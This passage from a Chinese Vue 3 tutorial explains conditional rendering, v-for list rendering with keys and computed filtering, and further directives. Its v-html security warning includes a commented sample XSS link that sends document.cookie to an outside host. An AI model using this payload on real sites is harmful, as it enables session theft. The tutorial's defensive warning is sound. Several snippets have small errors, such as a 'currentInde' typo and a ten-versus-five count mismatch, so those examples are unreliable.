  • v-if 是“真实的”按条件渲染,因为它确保了在切换时,条件区块内的事件监听器和子组件都会被销毁与重建,所以每次切换时的开销会很大。
  • v-if 也是惰性的,如果在初次渲染时条件值为 false,则不会做任何事,所以初次渲染时速度会很快。

v-show 的特点

  • 首次渲染时开销会很大,因为v-show元素无论初始条件如何,始终会被渲染,只是根据CSSdisplay属性来决定显示与隐藏。
  • 后期切换时,性能消耗较小,因为切换只是在更改 css 的 display 属性值。

总结

  • v-if 初次渲染开销少,而后期切换开销会更高; v-show 有更高的初始渲染开销,后期切换开销少
  • 如果后期需要频繁切换,则使用 v-show 较好;如果在运行时绑定条件很少改变,则 v-if 会更合适。

注意

如果我们追求网站首屏的加载速度,即使后期切换开销高,在渲染首屏内容时,也要考虑使用v-if

# 9、根据用户等级显示相关权益

TIP

根据用户的类型来渲染对应的内容,如果用户为 Vip,则显示会员权益,如果不是,则显示提示内容 。

以下内容渲染后,后期不会频繁切换,则使用v-if来渲染更合适。

<script>
export default {
  data() {
    return {
      userInfo: {
        username: "清心",
        vipType: 1, // 1是Vip,0是普通用户
      },
    };
  },
};
</script>

<template>
  <h3>
    用户名:{{ userInfo.username }}
    用户类型:
    <span v-if="userInfo.vipType === 1">VIP</span>
    <span v-else>普通用户</span>
  </h3>
  <h4>----------会员权益----------</h4>
  <!-- 利用v-if进行条件判断 -->
  <template v-if="userInfo.vipType === 1">
    <div>1、购物享积分1元1分</div>
    <div>2、积分当钱花</div>
    <div>3、积分兑换好礼</div>
  </template>
  <div v-else>你目前还不是会员,不享有任何权益</div>
</template>

userInfo.isVip === 1时,最终渲染效果如下:

image-20230427220526310

userInfo.isVip === 0时,最终渲染效果如下:

image-20230427220546036

# 10、选项卡特效

TIP

选项卡效果涉及到用户会频繁在各个选项之间来回切换,所以更适合用v-show,因为切换的开销低

如果你想让你的网站首次渲染页面时更快,可以改用v-if,实际开发主要还是根据用途来选择。

GIF2023-5-517-29-13

代码示例

<script>
  export default {
    data() {
      return {
        currentIndex: 0,
      };
    },
    methods: {
      changeIndex(index) {
        this.currentIndex = index;
      },
    },
  };
</script>

<template>
  <div class="music">
    <div class="tab">
      <div
        class="tab-item"
        :class="{ active: currentIndex === 0 }"
        @click="currentIndex = 0"
      >
        流行
      </div>
      <div
        class="tab-item"
        :class="{ active: currentIndex === 1 }"
        @click="currentIndex = 1"
      >
        经典
      </div>
      <div
        class="tab-item"
        :class="{ active: currentIndex === 2 }"
        @click="currentIndex = 2"
      >
        伤感
      </div>
      <div
        class="tab-item"
        :class="{ active: currentIndex === 3 }"
        @click="currentInde = 3"
      >
        抖音爆红
      </div>
    </div>

    <div class="tab-content">
      <div v-show="currentIndex === 0">流行音乐</div>
      <div v-show="currentIndex === 1">经典音乐</div>
      <div v-show="currentIndex === 2">伤感音乐</div>
      <div v-show="currentIndex === 3">抖音爆红音乐</div>
    </div>
  </div>
</template>

<style>
  .music {
    width: 600px;
  }

  .tab {
    height: 40px;
    display: flex;
  }

  .tab-item {
    width: 100px;
    height: 40px;
    text-align: center;
    line-height: 40px;
    margin-right: 5px;
    background-color: #ddd;
    cursor: pointer;
  }

  .tab-item.active {
    background-color: skyblue;
    color: #fff;
    font-size: 18px;
  }

  .tab-content {
    height: 400px;
  }

  .tab-content div {
    border: 1px solid skyblue;
    height: 400px;
    font-size: 50px;
    text-align: center;
    line-height: 400px;
  }
</style>

# 四、列表渲染

TIP

vue 提供了 v-for 指令,可以基于这个指令将数组、对象等数据结构渲染成一个列表。

本小节需要学习的 v-for 指令相关内容,如下:

  • v-for 基本用法
  • v-for 遍历对象
  • v-for 与整数
  • v-for 多层嵌套循环
  • v-for 与<template>
  • v-for 渲染二级菜单
  • v-for 与 v-if 的结合
  • v-for 与解构赋值
  • key 属性
  • 展示数组过滤后数据
  • 对筛选后数组排序
  • 只对数组排序,并显示结果

# 1、v-for 基本用法

TIP

v-for指令本质就是通过循环方式来遍历数组或对象等,并将其渲染成一个列表。

v-for指令的值需要使用item in arr 形式的特殊语法

  • arr是源数据的数组
  • item是迭代项的别名(别名可以自定义)

代码示例

<script>
  export default {
    data() {
      return {
        arr: ["人气TOP", "爆款套餐", "咖啡", "奶茶", "甜品小点"],
      };
    },
  };
</script>

<template>
  <ul>
    <!-- 以下方式相当于对数组arr进行迭代,item为迭代项-->
    <li v-for="item in arr">{{ item }}</li>
  </ul>
</template>

以上代码,最终编译后的结果如下:

<ul>
  <li>人气TOP</li>
  <li>爆款套餐</li>
  <li>咖啡</li>
  <li>奶茶</li>
  <li>甜品小点</li>
</ul>

获取数组每项索引

如果我们想要在v-for遍历数组时拿到数组中每一项的索引,可以采取以下写法

<ul>
  <!-- 以下方式相当于对数组arr进行迭代,item为迭代项,index为每一项的索引-->
  <li v-for="(item,index) in arr">{{ item }}</li>
</ul>

以上代码,最终编译后结果如下:

<ul>
  <li>0 - 人气TOP</li>
  <li>1 - 爆款套餐</li>
  <li>2 - 咖啡</li>
  <li>3 - 奶茶</li>
  <li>4 - 甜品小点</li>
</ul>

of 作为分隔符来替代 in

我们也可以把 item in arr中的inof来代替,写成:item of arr

<li v-for="(item,index) of arr">{{ item }}</li>

# 2、v-for 遍历对象

TIP

v-for指令可以用来遍历一个对象的所有属性值,属性名,位置索引

  • 只遍历对象的属性值
<!--以下方式相当于遍历对象myObject, value为属性值, 名字可自定义-->
<li v-for="value in myObject">{{ value }}</li>
  • 同时遍历对象的属性值和属性名
<!--value为对象属性值,key为对象的属性名-->
<li v-for="(value,key) in myObject">{{ value }}</li>
  • 同时遍历对象的属性值、属性名、位置索引
<!--value为对象属性值,key为对象的属性名,index为位置索引-->
<li v-for="(value,key,index) in myObject">{{ value }}</li>

代码演示

<script>
export default {
  data() {
    return {
      usersInfo: {
        username: "清心",
        age: 33,
        sex: "女",
      },
    };
  },
};
</script>

<template>
  <h3>用户信息</h3>
  <div v-for="(value, key, index) in usersInfo">
    {{ index }}---{{ key }}---{{ value }}
  </div>
</template>

以上代码,最终编译后结果如下:

<h3>用户信息</h3>
<div>0---username---清心</div>
<div>1---age---33</div>
<div>2---sex---女</div>

# 3、v-for 与 整数

v-for 可以直接接受一个整数值,如下:

<div v-for="n in 10">{{ n }}</div>

以上代码相当于把div这个模板重复5次,最终渲染后效果如下:

<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>

注意: n 的初始值是从 1 开始,而非 0。

# 4、v-for 多层嵌套循环

TIP

v-for与 JS 中使用 for 循环一样,可以嵌套使用。

如下:

<script>
export default {
  data() {
    return {
      dataInfo: [
        [1, 2, 3],
        ["A", "B", "C"],
      ],
    };
  },
};
</script>

<template>
  <ul v-for="arr in dataInfo">
    <li v-for="item in arr">{{ item }}</li>
  </ul>
</template>

以上代码,最终编译后结果如下:

<ul>
  <li>1</li>
  <li>2</li>
  <li>3</li>
</ul>
<ul>
  <li>A</li>
  <li>B</li>
  <li>C</li>
</ul>

# 5、v-for 与<template>

TIP

当需要使用v-for指令来渲染一个包含多个元素的块时,可以将多个元素包裹在<template>标签里。

最终<template>标签不会出现在最终编译后的结果中

<script>
export default {
  data() {
    return {
      usersInfo: [
        {
          title: "新闻标题一",
          desc: "新闻一的描述新闻一的描述新闻一的描述",
        },
        {
          title: "新闻标题二",
          desc: "新闻二的描述新闻二的描述新闻二的描述",
        },
        {
          title: "新闻标题三",
          desc: "新闻三的描述新闻三的描述新闻三的描述",
        },
      ],
    };
  },
};
</script>

<template>
  <template v-for="(item, index) in usersInfo" :key="index">
    <h3>{{ item.title }}</h3>
    <p>{{ item.desc }}</p>
  </template>
</template>

以上代码编译后的结果如下:

<h3>新闻标题一</h3>
<p>新闻一的描述新闻一的描述新闻一的描述</p>
<h3>新闻标题二</h3>
<p>新闻二的描述新闻二的描述新闻二的描述</p>
<h3>新闻标题三</h3>
<p>新闻三的描述新闻三的描述新闻三的描述</p>

# 6、案例:v-for 渲染二级菜单

<script>
export default {
  data() {
    return {
      menuList: [
        {
          category_id: 1001,
          title: "人气TOP",
          children: ["生酪拿铁", "丝绒拿铁", "相思红豆拿铁"],
        },
        {
          category_id: 1002,
          title: "爆款套餐",
          children: ["2杯贴贴咖啡", "3杯醒醒咖啡", "2杯么么咖啡"],
        },
        {
          category_id: 1003,
          title: "咖啡",
          children: ["生酪拿铁", "生椰丝绒拿铁", "2杯么么咖啡"],
        },
        {
          category_id: 1004,
          title: "奶茶",
          children: ["小小生椰", "丝绒拿铁", "生椰咖啡"],
        },
        {
          category_id: 1005,
          title: "甜品小点",
          children: ["甜品小点", "甜品小点", "甜品小点"],
        },
      ],
    };
  },
};
</script>

<template>
  <div class="menu">
    <template v-for="(item, index) in menuList" :key="index">
      <h3>{{ item.title }}</h3>
      <ul>
        <li v-for="(child, index) in item.children" :key="index">
          {{ child }}
        </li>
      </ul>
    </template>
  </div>
</template>

<style>
.menu {
  width: 200px;
  padding: 20px;
  background-color: skyblue;
}
</style>

以上代码,最终编译后结果如下:

<div class="menu">
  <h3>人气TOP</h3>
  <ul>
    <li>生酪拿铁</li>
    <li>丝绒拿铁</li>
    <li>相思红豆拿铁</li>
  </ul>
  <h3>爆款套餐</h3>
  <ul>
    <li>2杯贴贴咖啡</li>
    <li>3杯醒醒咖啡</li>
    <li>2杯么么咖啡</li>
  </ul>
  <h3>咖啡</h3>
  <ul>
    <li>生酪拿铁</li>
    <li>生椰丝绒拿铁</li>
    <li>2杯么么咖啡</li>
  </ul>
  <h3>奶茶</h3>
  <ul>
    <li>小小生椰</li>
    <li>丝绒拿铁</li>
    <li>生椰咖啡</li>
  </ul>
  <h3>甜品小点</h3>
  <ul>
    <li>甜品小点</li>
    <li>甜品小点</li>
    <li>甜品小点</li>
  </ul>
</div>

具体显示效果如下:

image-20230428163634391

# 7、v-for 与 v-if 结合

TIP

当一个元素节点上同时出现v-ifv-for时 ,v-ifv-for的优先级会更高。

这就意味着v-if的条件中无法访问到 v-for 作用域内定义的变量别名。

以下代码会抛出一个错误,因为在v-if中是不能使用v-for中的 item

<div
  class="tr"
  v-for="(item, index) in productList"
  v-if="item.price > 100"
></div>

如果我们确实需要在v-if中访问到v-for中的变量,则可以在外新包装一层<template>标签,并将v-for移到<template>标签上。这样不但解决了这个问题,而且可读性也更高。

<template v-for="(item, index) in productList">
  <div class="tr" v-if="item.price > 100"></div>
</template>

代码演示

进过筛选,只显示价格>100元的衣服信息。

<script>
export default {
  data() {
    return {
      productList: [
        {
          title: "短袖T恤男夏季新款印花宽松休闲",
          price: 39,
        },
        {
          title: "鼎铜毛呢夹克男中年男士商务休闲",
          price: 290,
        },
        {
          title: "t恤男短袖中年拼色撞色半袖",
          price: 190,
        },
      ],
    };
  },
};
</script>

<template>
  <div class="table">
    <div class="tr">
      <div class="th">序号</div>
      <div class="th">名称</div>
      <div class="th">价格</div>
    </div>
    <template v-for="(item, index) in productList" :key="index">
      <div class="tr" v-if="item.price > 100">
        <div class="td">{{ index }}</div>
        <div class="td">{{ item.title }}</div>
        <div class="td">{{ item.price }}</div>
      </div>
    </template>
  </div>
</template>

<style>
.table {
  display: table;
  width: 800px;
}

.table .tr {
  display: table-row;
}

.table .tr .td,
.table .tr .th {
  display: table-cell;
  border: 1px solid #000;
  height: 30px;
  text-align: center;
  line-height: 30px;
}

.table .tr .th {
  background-color: skyblue;
}
</style>

最终编译后结果如下:

<div class="table">
  <div class="tr">
    <div class="th">序号</div>
    <div class="th">名称</div>
    <div class="th">价格</div>
  </div>
  <!--v-if-->
  <div class="tr">
    <div class="td">1</div>
    <div class="td">鼎铜毛呢夹克男中年男士商务休闲</div>
    <div class="td">290</div>
  </div>
  <div class="tr">
    <div class="td">2</div>
    <div class="td">t恤男短袖中年拼色撞色半袖</div>
    <div class="td">190</div>
  </div>
</div>

最终展示效果如下:

image-20230428175543856

注:

以上方式筛选出价格>100的衣服并显示,不是最合理的,后面会讲到计算属性的方式来实现。

# 8、v-for 与 解构赋值

TIP

v-for指令后的表达式中可以使用解构赋值。

如下:

<script>
export default {
  data() {
    return {
      productList: [
        {
          title: "短袖T恤男夏季新款印花宽松休闲",
          price: 39,
        },
        {
          title: "鼎铜毛呢夹克男中年男士商务休闲",
          price: 290,
        },
        {
          title: "t恤男短袖中年拼色撞色半袖",
          price: 190,
        },
      ],
    };
  },
};
</script>

<template>
  <ul>
    <!--采用解构赋值,取出title与price-->
    <li v-for="({ title, price }, index) in productList" :key="index">
      {{ index }}: {{ title }} -- {{ price }}
    </li>
  </ul>
</template>

代码编译后结果如下:

<ul>
  <li>0: 短袖T恤男夏季新款印花宽松休闲 -- 39</li>
  <li>1: 鼎铜毛呢夹克男中年男士商务休闲 -- 290</li>
  <li>2: t恤男短袖中年拼色撞色半袖 -- 190</li>
</ul>

# 9、key 属性

TIP

  • 在利用v-for指令渲染元素列表示,官方推荐我们为每个元素添加一个特殊的key属性。
  • 并且要求同一个父元素下的子元素的key属性的值是唯一的,重复的 key 将导致渲染异常
  • key是一个特殊的属性,最终页面被渲染后,key不会出现在元素的身上
  • key 属性主要作为 Vue 的虚拟 DOM 算法提示,在比较新旧节点列表时用于识别 vnode。
    • 在没有key的情况下,Vue 将使用一种最小化元素移动的算法,并尽可能地就地更新/复用相同类型的元素。
    • 如果传了 key,则将根据 key 的变化顺序来重新排列元素,并且将始终移除/销毁 key 已经不存在的元素。

为了帮助我们更好的理解 key 属性的作用及注意事项,接下来我们通过以下案例来展开讲解。

我们希望在渲染好的列表前添加一项新的内容,并且要保证最终能正确渲染出如下效果。

GIF2023-6-160-02-03

代码示例

<script>
  export default {
    data() {
      return {
        menuList: [
          {
            category_id: 1001,
            title: "人气TOP",
          },
          {
            category_id: 1002,
            title: "爆款套餐",
          },
          {
            category_id: 1003,
            title: "甜品小点",
          },
        ],
      };
    },
    methods: {
      add() {
        this.menuList.unshift({
          category_id: 1004,
          title: "咖啡奶茶",
        });
      },
    },
  };
</script>

<template>
  <button @click.once="add">添加</button>
  <ul>
    <li v-for="(item, index) in menuList" :key="index">
      {{ index }} - {{ item.title }}
      <input type="text" />
    </li>
  </ul>
</template>

注:

以上代码在利用v-for指令生成列表时,key属性的值为每一项的索引,虽然也是唯一的。

但是当我们在数组的前面插入一项时,原有数组中的每一项的索引都加 1 了,而新增的第一项的索引为 0,这样造成了在新旧虚拟 DOM 对比时,每一项key相同的li中的文本内容都不一样,都要重新更新。

最终终渲染效果如下:

GIF2023-6-1523-50-32

最终渲染出来的效果,并不是我们想要的,注意观察右边的代码,我们发现在更新时,每一项li中的文字内容都发生了更新,但是input标签没有被更新。

原因在于新旧虚拟 DOM 在对比时,把key相同的每一项拿出来对比,发现对应key值相同的每一项li中的文字内容不一样而input标签是一样的,所以只对内容做了更新,并没有对input标签做更新,最后一项li中内容为全部新增。

DOM 渲染的内部原理 l 图

image-20230615234715726

所以在这种情况下(在中间或前面)插入新的内容时,我们不能拿元素的index索引来作为key属性的值,而应该选择唯一的category_id来作为key属性的值,这样不管在任何位置插入新的元素,都不会造成key值的变化。

修改key属性值为category_id

<ul>
  <li v-for="(item, index) in menuList" :key="item.category_id">
    {{ index }} - {{ item.title }}
    <input type="text" />
  </li>
</ul>

最终渲染效果如下:

GIF2023-6-160-29-28

观察右边代码区,我们发现每一项li中的文本内容也发生了更新,是因为渲染后,文本中对应的序号发生了变化,如果去掉序号,你会发现除了新增的第个li,其li中的内容都不会被更新

<ul>
  <li v-for="(item, index) in menuList" :key="item.category_id">
    {{ item.title }}
    <input type="text" />
  </li>
</ul>

最终渲染效果如下:

GIF2023-6-160-32-12

category_id作为key属性的值,内部新旧虚拟 DOM 对比如下图

image-20230616002308766

总结

在利用v-for渲染列表时,添加key属性有利于提高后期渲染的速度,因为在后期渲染时,针对相同key的元素,如果内容没有变化则不会重新渲染而是复用之前的 DOM。

不过在使用key属性时,有两点要注意:

  • 属于同一父元素下的子元素的key必需是唯一的
  • 如果v-for中是用来渲染列表,后期并不会对数据做增、删除操作,则key的值可以是每一项的索引,如果需要做增删除,则唯一值不能是index索引,而必需是其它唯一值。

# 10、案例:展示数组过滤后数据

TIP

当我们想要在页面中显示数组经过过滤后或排序后的内容,而又不能更改原数组的情况下,我们可以通过计算属性来实现。

创建一个计算属性,计算属性的返回值为原数组经过过滤或排序后得到的新数组。

代码演示:根据价格来显示对应商品

我们用watch侦听器和computed计算属性两种方式来实现,然后通过对比,看那一种更优。

GIF2023-5-519-07-07

  • watch侦听器实现
<script>
export default {
  data() {
    return {
      productPrice: 0, // 初始筛选价格为0
      filterProducts: [], // 过滤后数组存放到这个数组
      productList: [
        // 源数据数组
        {
          title: "短袖T恤男夏季新款印花宽松休闲",
          price: 39,
        },
        {
          title: "鼎铜毛呢夹克男中年男士商务休闲",
          price: 290,
        },
        {
          title: "t恤男短袖中年拼色撞色半袖",
          price: 190,
        },
        {
          title: "女半袖体恤chic宽松上衣 米白",
          price: 88,
        },
        {
          title: "连衣裙女装2023春夏季新款",
          price: 220,
        },
        {
          title: "短袖t恤女夏季新款韩版洋气时尚",
          price: 390,
        },
        {
          title: "休闲裤女装夏季时尚套装女",
          price: 320,
        },
      ],
    };
  },
  watch: {
    // 侦听器
    productPrice: {
      handler(newValue) {
        this.filterProducts = this.productList.filter(({ price }) => {
          return price > newValue;
        });
      },
      immediate: true, // 强制立即执行回调
    },
  },
};
</script>

<template>
  <input type="text" v-model="productPrice" />
  <ul>
    <li v-for="item in filterProducts">{{ item.title }}--{{ item.price }}</li>
  </ul>
</template>
  • computed计算属性来实现
<script>
export default {
  data() {
    return {
      productPrice: 0,
      productList: [
        {
          title: "短袖T恤男夏季新款印花宽松休闲",
          price: 39,
        },
        {
          title: "鼎铜毛呢夹克男中年男士商务休闲",
          price: 290,
        },
        {
          title: "t恤男短袖中年拼色撞色半袖",
          price: 190,
        },
        {
          title: "女半袖体恤chic宽松上衣 米白",
          price: 88,
        },
        {
          title: "连衣裙女装2023春夏季新款",
          price: 220,
        },
        {
          title: "短袖t恤女夏季新款韩版洋气时尚",
          price: 390,
        },
        {
          title: "休闲裤女装夏季时尚套装女",
          price: 320,
        },
      ],
    };
  },
  computed: {
    // 计算属性
    filterProducts() {
      return this.productList.filter(({ price }) => {
        return price > this.productPrice;
      });
    },
  },
};
</script>

<template>
  <input type="text" v-model="productPrice" />
  <ul>
    <li v-for="item in filterProducts">{{ item.title }}--{{ item.price }}</li>
  </ul>
</template>

显然,通过对比,computed的方式更简洁。官方也推荐我们采用计算属性来实现。

温馨提示:

所有操作数据的方法,如果此方法会更改原数组,则可以利用计算属性来实现。

# 11、案例:对筛选后数组排序

TIP

接下来,我们在上面的案例的基础上再升级一下,我们针对过滤后的数据,再做相关的排序:升序,降序,恢原。

代码演示:在数据过滤的基础上再排序

GIF2023-5-520-54-27

computed 计算属性实现

<script>
export default {
  data() {
    return {
      productPrice: 0,
      sortType: 0, // 0 不排序,1升序 2降序
      productList: [
        {
          title: "短袖T恤男夏季新款印花宽松休闲",
          price: 39,
        },
        {
          title: "鼎铜毛呢夹克男中年男士商务休闲",
          price: 290,
        },
        {
          title: "t恤男短袖中年拼色撞色半袖",
          price: 190,
        },
        {
          title: "女半袖体恤chic宽松上衣 米白",
          price: 88,
        },
        {
          title: "连衣裙女装2023春夏季新款",
          price: 220,
        },
        {
          title: "短袖t恤女夏季新款韩版洋气时尚",
          price: 390,
        },
        {
          title: "休闲裤女装夏季时尚套装女",
          price: 320,
        },
      ],
    };
  },
  // 计算属性
  computed: {
    filterProducts() {
      // 过滤数据
      const arr = this.productList.filter(({ price }) => {
        return price > this.productPrice;
      });
      // 对过滤后数据排序
      //如果this.sortType===0,则不排序,不在考虑范围内
      if (this.sortType) {
        return arr.sort((item1, item2) => {
          return this.sortType === 1
            ? item1.price - item2.price
            : item2.price - item1.price;
        });
      }
      return arr; // 如果不排序时,也要有返回值
    },
  },
};
</script>

<template>
  <div>
    <input type="text" v-model="productPrice" />
    <button @click="sortType = 1">升序</button>
    <button @click="sortType = 2">降序</button>
    <button @click="sortType = 0">还原</button>
  </div>

  <ul>
    <li v-for="item in filterProducts">{{ item.title }}--{{ item.price }}</li>
  </ul>
</template>

# 12、案例:显示数组排序后内容

TIP

如果我们只对数组中的数据做相关的排序操作,则需要特别注意sort()方法的使用。

  • sort()方法会更改原始数组
  • 请在调用sort()方法排序时,先创建一个原始数组的副本,利用副本来操作数据,这样就能保证原数组不变。
// 错误写法 ,这样原数组会被修改
this.productList.sort()

// 正确写法 创建一个副本,利用这个副本来操作数据
[...this.productList].sort()

代码演示:对数组进行排序,并显示排序结果

GIF2023-5-520-52-43

<script>
export default {
  data() {
    return {
      sortType: 0, // 0 不排序,1升序 2降序
      productList: [
        {
          title: "短袖T恤男夏季新款印花宽松休闲",
          price: 39,
        },
        {
          title: "鼎铜毛呢夹克男中年男士商务休闲",
          price: 290,
        },
        {
          title: "t恤男短袖中年拼色撞色半袖",
          price: 190,
        },
        {
          title: "女半袖体恤chic宽松上衣 米白",
          price: 88,
        },
        {
          title: "连衣裙女装2023春夏季新款",
          price: 220,
        },
        {
          title: "短袖t恤女夏季新款韩版洋气时尚",
          price: 390,
        },
        {
          title: "休闲裤女装夏季时尚套装女",
          price: 320,
        },
      ],
    };
  },
  // 计算属性
  computed: {
    sortProducts() {
      if (this.sortType) {
        // 注意,创建原数据的副本
        return [...this.productList].sort((item1, item2) => {
          return this.sortType === 1
            ? item1.price - item2.price
            : item2.price - item1.price;
        });
      }
      // 如果上面不创建原始数据的副本,则我们点击还原按扭时,将无任何效果
      return this.productList;
    },
  },
};
</script>

<template>
  <div>
    <button @click="sortType = 1">升序</button>
    <button @click="sortType = 2">降序</button>
    <button @click="sortType = 0">还原</button>
  </div>

  <ul>
    <li v-for="item in sortProducts">{{ item.title }}--{{ item.price }}</li>
  </ul>
</template>

# 五、其它内置指令

在前面我们学习了 Vue 相关的内置指令,如:

内置指令 说明
v-bind 单向数据绑定,用来动态绑定元素的属性,简写成:
v-model 双向数据绑定,常用在表单输入元素上
v-on 给元素绑定事件监听器,简写成:@
v-ifv-elsev-else-if 根据表达式的真假性,来条件性地渲染元素
v-show 根据表达式的真假性,来改变元素的显示与隐藏
v-for 基于原始数据(数组、对象等)来渲染元素

本小节,我们继续来学习 Vue 相关的其它内部指令:v-textv-htmlv-oncev-cloakv-pre

# 1、v-text 指令

TIP

v-text指令用于更新元素的innerText文本内容,他会替换当前元素内的所有节点内容。

<script>
export default {
  data() {
    return {
      message: "Hello Vue!",
    };
  },
};
</script>

<template>
  <div v-text="message"></div>
</template>

v-text指令中的内容如果包含html标签,html标签并不会被编译,而是会当前字符串原样输出

<script>
export default {
  data() {
    return {
      message: "<h3>Hello Vue!</h3>",
    };
  },
};
</script>

<template>
  <div v-text="message"></div>
</template>

image-20230506203616098

# 2、v-html 指令

TIP

v-html指令用于更新元素的innerHTML内容

  • 如果内容中包含html标签,会被正常显示
  • 如果内容中包含 Vue 模板语法,则不会被解析
<script>
export default {
  data() {
    return {
      info: "我是清心",
      message: "<h3>Hello Vue! {{info}} </h3>",
    };
  },
};
</script>

<template>
  <div v-html="message"></div>
</template>

image-20230506204442579

安全说明

在你的站点上动态渲染任意的 HTML 是非常危险的,因为它很容易导致 XSS 攻击。请只对可信内容使用 HTML 插值,绝不要将用户提供的内容作为插值

代码演示:以下将用户输入内容作为v-html指令的内容,是非常危险的

<script>
  export default {
    data() {
      return {
        message: ``,
        // message: `<a href='javascript:location.href="http://www.baidu.com?info="+document.cookie'>点击,查看美女</a>`
      };
    },
  };
</script>

<template>
  <textarea cols="60" rows="5" v-model="message"></textarea>
  <div v-html="message"></div>
</template>

GIF2023-5-620-59-36

上面案例中,用户输入的内容中携带的 JS 脚本,点击链接后,就可以把当前网站的cookie信息获取到,这是非常不安全的。

# 3、v-once 指令

TIP

v-once指令用来告诉 Vue,当前元素只渲染一次,即初次渲染后,就不会再渲染了。

<script>
export default {
  data() {
    return {
      n: 1,
      arr: [1, 2, 3],
    };
  },
};
</script>

<template>
  <div v-once>当前内容n永不更新 {{ n }}</div>
  <div>当前内容中n会动态更新 {{ n }}</div>
  <button @click="n++">n++</button>

  <ul>
    <li v-for="item in arr" v-once>不可更新{{ item }}</li>
  </ul>

  <ul>
    <li v-for="item in arr">可更新{{ item }}</li>
  </ul>
  <button @click="arr = ['A', 'B', 'C']">更新数据 {{ arr }}</button>
</template>

GIF2023-5-621-14-47

如果有些数据只需要初始渲染,后面不需要再维护这些数据,则可以添加v-once来提高性能。

# 4、v-cloak 指令

TIP

v-cloak指令仅作为了解即可,该指令只在没有构建步骤的环境下需要使用

当使用直接在 DOM 中书写的模板时,可能会出现一种叫做“未编译模板闪现”的情况:用户可能先看到的是还没编译完成的双大括号标签,直到挂载的组件将它们替换为实际渲染的内容。

  • v-cloak指令本质是在元素身上添加了v-cloak这样一个自定义属性。不过这个属性在组件实例被挂后就会移除。
  • v-cloak指令需要与[v-cloak]{display:none}这样的 CSS 规则配合使用,这样就可以在组件编译前被隐藏,编译后因为v-cloak属性移出,则元素显示。
<style>
  [v-cloak] {
    display: none;
  }
</style>

<div id="app">
  <div>{{ message }}</div>
</div>
<!-- 
这里故意把js引入放在当前这个位置,这样网速很慢时,会先看到上面没有编译的DOM元素呈现在页面,Vue接管后,组件被挂载成功,看到的是编译后的内容,为了防止组件没有被编译挂载前,不要呈现在页面中,则需要加v-cloak指令,同时加上[v-cloak]{display:none} css样式
-->
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<script>
  const { createApp } = Vue;
  const app = createApp({
    data() {
      return {
        message: "Hello Vue!",
      };
    },
  });
  const vm = app.mount("#app");
</script>

未加v-cloak指令前效果

GIF2023-5-621-44-56

加了v-cloak指令后效果

GIF2023-5-621-40-50

# 5、v-pre 指令

TIP

v-pre指令用于告诉 Vue,可以跳过该元素及其所有子元素的编译。也就是当前元素及其子元素写成什么样就按原样输出,并不会对内部的模板语法做任何解析。

v-pre指令应用场景

如果在项目中有些节点确实不需要编译(即节点中没有使用 Vue 语法),可以添加v-pre指令,能提高编译的速度。

<script>
export default {
  data() {
    return {
      username: "艾编程",
      age: 33,
    };
  },
};
</script>

<template>
  <div v-pre>
    <h3>用户信息</h3>
    <p>姓名:{{ username }}---年龄:{{ age }}</p>
  </div>
</template>

image-20230506215135462

image-20230506215231670

# 6、总结

内置指令 说明
v-text v-text指令用于更新元素的innerText文本内容
v-html v-html指令用于更新元素的innerHTML内容
v-once v-once指令用来告诉 Vue,当前元素只渲染一次,即初次渲染后,就不会再渲染了。
v-cloak 仅作为了解,在实际开发中几乎不用
v-pre v-pre指令用于告诉 Vue,可以跳过该元素及其所有子元素的编译
上次更新时间: 6/17/2023, 12:34:44 AM

大厂最新技术学习分享群

大厂最新技术学习分享群

微信扫一扫进群,获取资料

X